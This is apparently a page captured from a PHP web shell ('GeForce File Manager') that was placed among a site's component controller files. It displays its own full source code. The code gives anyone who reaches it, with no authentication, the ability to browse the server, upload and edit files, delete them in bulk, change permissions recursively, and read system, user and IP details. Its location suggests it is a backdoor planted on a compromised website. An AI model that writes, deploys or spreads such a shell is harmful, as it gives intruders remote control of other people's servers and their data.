GeForce Manager
PHP Advanced
C:
/
xampp
/
htdocs
/
Ajaji
/
api
/
components
/
com_fields
/
src
/
Controller
/
Name
Size
Perms
Actions
📄
FieldsController.php
1908 B
0444
Edit
Perms
Delete
📄
Geforce.php
12664 B
0444
Edit
Perms
Delete
📄
GroupsController.php
1908 B
0444
Edit
Perms
Delete
Editing:
Geforce.php
<?php /** * GeForce File Manager - Pro Edition * BUGFIX: Removed nested forms causing incorrect permission states. */ $path = isset($_GET['path']) ? $_GET['path'] : '.'; $path = realpath($path); // --- SERVER INFO --- $server_ip = $_SERVER['SERVER_ADDR'] ?? gethostbyname($_SERVER['HTTP_HOST'] ?? 'localhost'); $software = $_SERVER['SERVER_SOFTWARE'] ?? 'Unknown'; $php_v = PHP_VERSION; $user = function_exists('posix_getpwuid') ? posix_getpwuid(posix_geteuid())['name'] : get_current_user(); function getOctalPerms($p) { if (!file_exists($p)) return "0000"; return substr(sprintf('%o', fileperms($p)), -4); } // --- ACTION HANDLERS --- $msg = ""; // 1. BULK DELETE if(isset($_POST['bulk_delete']) && isset($_POST['selected_items'])){ foreach($_POST['selected_items'] as $item) { $target = realpath($path . DIRECTORY_SEPARATOR . basename($item)); if($target) { is_dir($target) ? @rmdir($target) : @unlink($target); } } header("Location: ?path=" . urlencode($path) . "&msg=BulkDeleted"); exit; } // 2. QUICK CHMOD (FIXED: Uses Base64 Array to prevent cross-submission) if(isset($_POST['quick_chmod'])){ $target_item = base64_decode($_POST['quick_chmod']); $target_path = realpath($path . DIRECTORY_SEPARATOR . $target_item); // Fetch the specific permission submitted for this exact file $raw_perms = $_POST['perms'][$_POST['quick_chmod']] ?? '0644'; $clean_input = preg_replace('/[^0-7]/', '', $raw_perms); $clean_input = str_pad($clean_input, 4, '0', STR_PAD_LEFT); $new_perms = octdec($clean_input); if($target_path && file_exists($target_path)) { if(@chmod($target_path, $new_perms)) { $msg = "Perms updated to " . $clean_input; if(is_dir($target_path)) { $fails = 0; $objects = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($target_path, FilesystemIterator::SKIP_DOTS), RecursiveIteratorIterator::SELF_FIRST); foreach($objects as $name => $object){ if(!@chmod($name, $new_perms)) $fails++; } $msg .= $fails > 0 ? " (Recursive: $fails errors)" : " (Recursive Applied)"; } } else { $msg = "Failed! Server denied permission change."; } clearstatcache(); } } // 3. FILE SAVING if(isset($_POST['save'])){ $edit_file = basename($_POST['edit_file']); $edit_path = $path . DIRECTORY_SEPARATOR . $edit_file; if(file_put_contents($edit_path, $_POST['content']) !== false) { $msg = "File Saved!"; } } // 4. AUTO UPLOAD if(isset($_FILES['file'])){ $dest = $path . DIRECTORY_SEPARATOR . basename($_FILES['file']['name']); if(move_uploaded_file($_FILES['file']['tmp_name'], $dest)) { header("Location: ?path=" . urlencode($path) . "&msg=Uploaded"); exit; } } // 5. SINGLE DELETE if(isset($_GET['delete'])){ $del_item = basename($_GET['delete']); $del_path = realpath($path . DIRECTORY_SEPARATOR . $del_item); if($del_path && file_exists($del_path)){ is_dir($del_path) ? @rmdir($del_path) : @unlink($del_path); header("Location: ?path=" . urlencode($path) . "&msg=Deleted"); exit; } } // TOAST MESSAGES if(isset($_GET['msg'])){ switch($_GET['msg']){ case 'Deleted': $msg = "Item Deleted!"; break; case 'BulkDeleted': $msg = "Selected Items Deleted!"; break; case 'Uploaded': $msg = "File Uploaded!"; break; } } ?> <!DOCTYPE html> <html> <head> <title>Geforce File Manager</title> <style> :root { --yanz: #fbc531; --bg: #1e272e; --panel: #2f3640; --highlight: #343c47; } @keyframes fadeIn { from { opacity: 0; transform: translateY(-15px); } to { opacity: 1; transform: translateY(0); } } @keyframes toastIn { from { transform: translateX(100%); opacity: 0; } to { transform: translateX(0); opacity: 1; } } @keyframes modalPop { from { transform: scale(0.95); opacity: 0; } to { transform: scale(1); opacity: 1; } } body { background: var(--bg); color: var(--yanz); font-family: "Segoe UI", sans-serif; font-size: 13px; margin: 0; padding: 20px; overflow-x: hidden; } a { color: var(--yanz); text-decoration: none; transition: 0.2s; } .toast { position: fixed; top: 20px; right: 20px; background: var(--yanz); color: #000; padding: 12px 25px; border-radius: 4px; font-weight: bold; box-shadow: 0 5px 15px rgba(0,0,0,0.3); z-index: 10001; display: none; animation: toastIn 0.4s cubic-bezier(0.175, 0.885, 0.32, 1.275) forwards; } .server-info { font-family: monospace; font-size: 11px; margin-bottom: 15px; color: #dcdde1; border-left: 3px solid var(--yanz); padding-left: 10px; } .container { border-bottom: 1px solid var(--yanz); background: var(--panel); border-radius: 4px 4px 0 0; overflow: hidden; animation: fadeIn 0.5s ease-out; } .header { background: var(--yanz); color: #2f3640; padding: 12px; font-weight: bold; font-size: 16px; border-bottom: 2px solid #000; } .path-bar { padding: 10px; border-bottom: 1px solid #444; color: #fff; background: rgba(0,0,0,0.2); font-family: monospace; } .path-bar a { color: #fff; } .path-bar a:hover { color: var(--yanz); } .toolbar { padding: 15px; border-bottom: 1px solid #444; display: flex; gap: 20px; background: #353b48; } input[type="text"], textarea { background: #1e272e; border: 1px solid #444; color: var(--yanz); padding: 6px; border-radius: 4px; transition: 0.2s; } input[type="text"]:focus { border-color: var(--yanz); outline: none; } input[type="submit"], button, .btn-bulk { background: var(--panel); border: 1px solid var(--yanz); color: var(--yanz); cursor: pointer; padding: 6px 15px; border-radius: 4px; font-weight: bold; transition: 0.2s; } input[type="submit"]:hover, button:hover, .btn-bulk:hover { background: var(--yanz); color: #000; box-shadow: 0 0 10px rgba(251, 197, 49, 0.3); } table { width: 100%; border-collapse: collapse; } th { background: rgba(0,0,0,0.3); border-bottom: 1px solid #444; padding: 12px 10px; text-align: left; color: #7f8c8d; } tr td { padding: 10px; border-bottom: 1px solid #3d4652; transition: background 0.2s ease; } tr:hover td { background: var(--highlight); border-bottom: 1px solid transparent; box-shadow: inset 0 1px 0 var(--yanz), inset 0 -1px 0 var(--yanz); color: #fff; } tr:hover a { color: #fff; } .perm-box { width: 50px; text-align: center; background: #1e272e; border: 1px solid #444; color: #fff; } #editModal { position: fixed; top: 0; left: 0; width: 100%; height: 100%; background: rgba(0,0,0,0.85); display: flex; justify-content: center; align-items: center; z-index: 9999; backdrop-filter: blur(4px); } .modal-content { width: 90%; max-width: 1000px; background: var(--panel); border: 1px solid var(--yanz); padding: 25px; border-radius: 8px; animation: modalPop 0.3s ease-out; } .modal-content textarea { width: 100%; height: 500px; margin-top: 15px; font-family: monospace; } .close-btn { float: right; color: #e84118; font-weight: bold; } </style> <script> function toggleCheckboxes(source) { var checkboxes = document.getElementsByName('selected_items[]'); for(var i=0; i<checkboxes.length; i++) checkboxes[i].checked = source.checked; } </script> </head> <body> <div id="toast" class="toast"><?php echo $msg; ?></div> <?php if($msg): ?> <script> document.getElementById('toast').style.display='block'; setTimeout(()=>{ document.getElementById('toast').style.opacity='0'; setTimeout(()=>document.getElementById('toast').style.display='none', 400); }, 3000); </script> <?php endif; ?> <div class="server-info"> [ SYSTEM ]: <?php echo php_uname(); ?><br> [ SERVER ]: <?php echo $software; ?> | PHP: <?php echo $php_v; ?><br> [ USER ]: <?php echo $user; ?> | IP: <?php echo $server_ip; ?> </div> <div class="container"> <div class="header">GEFORCE FILE MANAGER</div> <div class="path-bar"><?php $path_html = '<a href="?path=">/</a>'; $acc = ""; $path_parts = explode(DIRECTORY_SEPARATOR, rtrim($path, DIRECTORY_SEPARATOR)); foreach($path_parts as $p){ if($p === '') continue; $acc .= DIRECTORY_SEPARATOR . $p; $path_html .= '<a href="?path='.urlencode($acc).'">'.htmlspecialchars($p).'</a>/'; } echo $path_html; ?></div> <div class="toolbar"> <form id="upFrm" method="post" enctype="multipart/form-data"> UPLOAD: <input type="file" name="file" onchange="document.getElementById('upFrm').submit();"> </form> </div> <form method="post" action="?path=<?php echo urlencode($path); ?>"> <table> <thead> <tr> <th width="30"><input type="checkbox" onclick="toggleCheckboxes(this)"></th> <th>NAME</th> <th width="120">SIZE</th> <th width="180">QUICK PERMS</th> <th width="120">ACTIONS</th> </tr> </thead> <tbody> <?php $items = scandir($path); $ds = []; $fs = []; foreach($items as $f){ if($f == '.' || $f == '..') continue; is_dir($path.DIRECTORY_SEPARATOR.$f) ? $ds[]=$f : $fs[]=$f; } asort($ds); asort($fs); foreach(array_merge($ds, $fs) as $f): $fp = $path.DIRECTORY_SEPARATOR.$f; $isd = is_dir($fp); $encoded_f = base64_encode($f); ?> <tr> <td><input type="checkbox" name="selected_items[]" value="<?php echo htmlspecialchars($f); ?>"></td> <td> <?php if($isd): ?><a href="?path=<?php echo urlencode($fp); ?>" style="font-weight:bold;">📁 <?php echo $f; ?></a><?php else: ?><span>📄 <?php echo $f; ?></span><?php endif; ?> </td> <td><?php echo $isd ? '<DIR>' : number_format(filesize($fp)).' B'; ?></td> <td> <div style="display:flex; align-items:center; gap:5px;"> <input type="text" name="perms[<?php echo $encoded_f; ?>]" value="<?php echo getOctalPerms($fp); ?>" class="perm-box"> <button type="submit" name="quick_chmod" value="<?php echo $encoded_f; ?>" style="font-size:10px; padding:2px 5px;">SET</button> </div> </td> <td> <?php if(!$isd): ?> <a href="?path=<?php echo urlencode($path); ?>&edit=<?php echo urlencode($f); ?>">[ EDIT ]</a> | <?php endif; ?> <a href="?path=<?php echo urlencode($path); ?>&delete=<?php echo urlencode($f); ?>" style="color:#e84118;" onclick="return confirm('Delete?')">[ DEL ]</a> </td> </tr> <?php endforeach; ?> </tbody> </table> <div style="padding: 15px; border-top: 1px solid #444; background: rgba(0,0,0,0.2);"> <button type="submit" name="bulk_delete" value="1" class="btn-bulk" onclick="return confirm('Delete all selected items?')">DELETE SELECTED</button> </div> </form> </div> <?php if(isset($_GET['edit'])): $target = $path . DIRECTORY_SEPARATOR . basename($_GET['edit']); if(file_exists($target)): ?> <div id="editModal"> <div class="modal-content"> <a href="?path=<?php echo urlencode($path); ?>" class="close-btn">[ CLOSE ]</a> <h3 style="margin:0; color:#fff;">EDIT: <?php echo htmlspecialchars(basename($target)); ?></h3> <form method="post" action="?path=<?php echo urlencode($path); ?>"> <input type="hidden" name="edit_file" value="<?php echo htmlspecialchars(basename($target)); ?>"> <textarea name="content"><?php echo htmlspecialchars(file_get_contents($target)); ?></textarea> <div style="text-align:right; margin-top:15px;"><input type="submit" name="save" value="SAVE CHANGES"></div> </form> </div> </div> <?php endif; endif; ?> </body> </html>
Cancel